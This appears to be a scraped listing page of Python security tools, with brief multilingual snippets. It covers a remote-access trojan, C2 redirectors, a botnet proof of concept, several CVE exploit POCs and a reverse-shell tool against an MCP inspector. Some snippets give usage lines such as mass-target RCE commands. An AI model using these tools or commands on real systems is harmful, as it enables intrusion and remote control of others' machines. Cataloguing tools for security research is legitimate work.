PyRat

PyRat PyRat — это open-source проект удалённого управления RAT, реализованный на Python с использованием XmlRPC, включающий клиент и сервер также называемый управляющей стороной; далее — сервер. Заявление: проект предназначен только для технического обмена, не используйте его в коммерческих или...

Pocsuite

This project has stopped to maintenance, please to https://github.com/knownsec/pocsuite3 project. Pocsuite Overview Pocsuite is an open-sourced remote vulnerability testing and proof-of-concept development framework developed by the . It comes with a powerful proof-of-concept engine, many niche...

CVE-2021-22941

Использование python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 Ссылка https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...

flask_heroku_redirector

Flask Heroku C2 Пример Простое приложение на Python Flask, готовое к запуску на Heroku. Настройка разработки virtualenv venv source venv/bin/activate pip install -r requirements.txt python app.py Развёртывание heroku create git push heroku master...

CVE-2026-9998-Insecure-Deserialization-in-Blockchain-Oracle

10. CVE-2026-9998 – Небезопасная десериализация в блокчейн-оракуле Обзор Узел блокчейн-оракула десериализует данные из события смарт-контракта с помощью Python pickle, что позволяет атакующему выполнять произвольные команды. Серьёзность: Критическая Полная компрометация узла Симуляция оракула и...

CVE-2026-12415-or-CVE-2026-12416.py

CVE-2026-12415-or-CVE-2026-12416.py CVE-2026-12415-or-CVE-2026-12416.py...

CVE-2018-13382

CVE-2018-13382 python3.X version POC...

CVE-2025-55182-exploit

CVE-2025-55182-exploit TL;DR 이는 합법적인 침투 테스트 목적으로만 사용됩니다. 불법 활동에 가담하지 마십시오. 사용 방법 python3 exploit.py 데모 영상...

CVE-2022-42889

CVE-2022-42889 Python script for CVE-2022-42889 To test this locally follow the docker POC: https://github.com/karthikuj/cve-2022-42889-text4shell-docker For a PHP version of this: https://github.com/ClickCyber/cve-2022-42889 If youre running this and exploiting it locally, the IP you need to use...

supply-chain-guard

Supply Chain Guard SCG An incident-response toolkit for npm/yarn and Python pip/poetry/uv supply chain attacks — free, local, dependency-free. SCG — это не сканирующий движок, конкурирующий с коммерческими инструментами по охвату. Это навык Claude Code и автономный набор shell-инструментов, котор...

mcpExec

mcpExec — это инструмент, который использует уязвимость CVE-2026-23744 для получения обратного шелла через URL уязвимой установки MCPJam Inspector. Установка root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install...

cve-2020-7799

cve-2020-7799 Batch detection of cve-2020-7799 Add a text.txt file in the same directory The URL format in the file is as follows: www.baidu.com 132.231.132.132 133.12.122.13:8080 Run: python3 cve-2020-7799.py Note: It is prohibited to use any resources of this project for illegal testing!...

Telstra-Cybersecurity-Virtual-Experience-

Telstra-Cybersecurity-Virtual-Experience-Program I participated in Telstra's Security Operations Centre as an Information Security Analyst to gain first-hand experience of the daily tasks and responsibilities of a Security Analyst at Telstra. The tasks carried out: 1. Triaged a malware attack...

call_map

Call Map .. default-role:: code О проекте Call Map — это инструмент для навигации по графам вызовов в Python, с планами поддержки других языков. Ниже приведён снимок экрана после выполнения callmap -m toolz и последующего щелчка по некоторым функциям. .. figure:: docs/UI-clicked-on-function.png...

agentic-radar

Сканер безопасности для ваших агентных рабочих процессов!...

SCCMVersionGuesser

SCCMVersionGuesser Автоматизированный инструмент определения версии сборки и уровня исправлений SCCM Требования requests Использование root@kitploit: $ python3 SCCMVersionGuesser.py https://sccm.example.com Ссылки https://learn.microsoft.com/en-us/intune/configmgr/hotfix/...

Xenotix-xBOT

Xenotix-xBOT Xenotix xBOT — это proof of concept кросс-платформенный Linux, Windows, Mac бот, написанный на Python, который злоупотребляет определёнными сервисами Google для реализации Command & Control Center для ботнета. Google Apps Data API, Google Forms и Google Spreadsheet используются для...

waybackpack

waybackpack Waybackpack — это инструмент командной строки, который позволяет загрузить весь архив Wayback Machine для заданного URL. Например, чтобы загрузить все копии домашней страницы Министерства труда США до 1996 года который, кстати, является первым годом архивирования сайта, выполните:...

CVE-2022-26134

CVE-2022-26134 poc Заявление: данный POC предназначен только для изучения, запрещены любые незаконные действия, если вы будете заниматься злонамеренным использованием, я не несу ответственности!!! Использование Проверка одной цели root@kitploit: python CVE-2022-26134.py target url Пакетная провер...

CVE-2024-56145-craftcms-rce

Before you run script again do fuser -k 6666/tcp Usage - python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200 Custom command can be used like python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami" -i is your IP or your vps IP use that by doing ipconfig / ifconfig. Like - python3 poc.py -f...